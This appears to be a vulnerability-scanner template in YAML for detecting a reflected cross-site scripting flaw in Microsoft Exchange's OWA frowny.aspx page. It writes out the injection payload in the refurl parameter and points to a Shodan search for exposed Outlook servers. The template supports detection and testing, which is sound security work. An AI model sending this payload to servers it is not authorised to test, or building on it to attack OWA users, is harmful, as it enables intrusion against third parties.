id: ms-exchange-server-reflected-xss

info:
  name: MS Exchange Server XSS
  author: infosecsanyam
  severity: medium
  reference:
    - https://www.shodan.io/search?query=http.title%3A%22Outlook%22
    - https://blog.orange.tw/2021/08/proxyoracle-a-new-attack-surface-on-ms-exchange-part-2.html
  tags: microsoft,exchange,owa,xss

requests:
  - method: GET
    path:
      - '{{BaseURL}}/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)//'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'alert(document.domain)//&et=ServerError'
          - 'mail/bootr.ashx'
        condition: and

      - type: status
        status:
          - 500

      - type: word
        words:
          - "text/html"
        part: header